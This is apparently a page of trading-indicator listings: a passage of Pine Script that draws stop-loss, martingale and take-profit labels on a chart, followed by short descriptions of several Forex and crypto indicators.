neonPink = color.new(color.fuchsia, 0) // Momentum Sell
neonRed = color.new(color.red, 0) // Stoploss
neonOrange = color.new(color.orange, 0) // Martingale Entry
neonYellow = color.new(color.yellow, 0) // Instant Entry
neonGreen = color.new(color.lime, 0) // Take Profits
currentBlue = color.new(color.blue, 0) // Current Price
// === Arrays for Dynamic Labels ===
var label activeLabels = array.new()
var line activeLines = array.new()
priceFmt(p) => str.tostring(p, "#.###")
// === Draw Box Function (Label + Line) ===
drawBox(price, labelText, col) =>
offset = 3
ln = line.new(bar_index + offset, price, bar_index + 40, price, color=col, width=2)
lbl = label.new(bar_index + offset, price,
labelText + " : " + priceFmt(price),
style=label.style_label_left, size=size.normal,
textcolor=color.black, color=col)
array.push(activeLabels, lbl)
array.push(activeLines, ln)
// === Draw Current Price (styled like SL/TP) ===
drawCurrentPrice() =>
offset = 3
ln = line.new(bar_index + offset, close, bar_index + 40, close, color=currentBlue, width=2)
lbl = label.new(bar_index + offset, close,
"Current Price : " + priceFmt(close),
style=label.style_label_left, size=size.normal,
textcolor=color.white, color=currentBlue)
array.push(activeLabels, lbl)
array.push(activeLines, ln)
// === Clear and Redraw Labels Each Bar ===
if barstate.islast
for l in activeLabels
label.delete(l)
for ln in activeLines
line.delete(ln)
array.clear(activeLabels)
array.clear(activeLines)
if not na(SL) and not na(TP1)
drawBox(MartingaleSL, "Stoploss", neonRed)
drawBox(SL, "Martingale Entry", neonOrange)
drawBox(ReEntry, "Instant Entry", neonYellow)
drawBox(TP1, "TP1", neonGreen)
drawBox(TP2, "TP2", neonGreen)
drawBox(TP3, "TP3", neonGreen)
drawCurrentPrice() // Adds Current Price tag in same style
// === Momentum Buy/Sell Markers ===
plotshape(buySignal, title="Momentum Buy", location=location.belowbar,
color=neonBlue, style=shape.labelup, text="Momentum Buy", textcolor=color.black)
plotshape(sellSignal, title="Momentum Sell", location=location.abovebar,
color=neonPink, style=shape.labeldown, text="Momentum Sell", textcolor=color.black)
Swing FX Pro Panel v1Description:
"Swing FX Pro Panel v1" is a professional swing trading strategy tailored for the Forex market and other highly liquid assets. The core logic is based on the crossover of two Exponential Moving Averages (EMA), allowing the strategy to detect trend shifts and generate precise entry signals.
The script includes an interactive performance panel that dynamically displays:
initial capital,
risk per trade (%),
the number of trades taken during a selected period (e.g., 6 months),
win/loss statistics,
ROI (Return on Investment),
maximum drawdown,
win ratio.
Order Flow Bias LogicOrder Flow Bias Logic
This indicator maps institutional session behavior by tracking the Asia, London, and New York trading sessions. It highlights key price levels including:
Daily Open
Asia & London Highs/Lows
+1% and -1% Daily Open thresholds
It identifies potential stop hunts and NY session consolidation setups to help detect bullish or bearish intraday bias. Labels are displayed on the chart to signal high-probability zones for reversals or continuations, based on order flow logic.
Ideal for intraday traders looking to align with institutional session dynamics.
Crypto Risk Management Calculator BY MUNASARName:
📊 Crypto Risk Management Calculator by Munasar
Short Description:
A powerful tool to calculate daily risk, reward, position size, and risk-reward ratio for crypto trades.
Full Description:
This indicator is built for cryptocurrency traders who want to manage their risk with precision. It calculates your daily risk and reward based on account size, stop loss %, and take profit %.
You'll also get:
Position size per trade
Risk & reward per trade in $ and %
Take Profit levels
Risk-to-Reward ratio
Support for multiple trades per day
Perfect for both beginners and advanced traders who want to protect their capital and follow a consistent plan.
Created by Munasar
EMA 25, 70, 400 (5min) with Fill, X Marks, and One AlertEMA 25 70 400
with alerts whenever they cross each other and I've put X Mark on it whenever they cross each other.
MADE BY:
-JAYVEE SENINING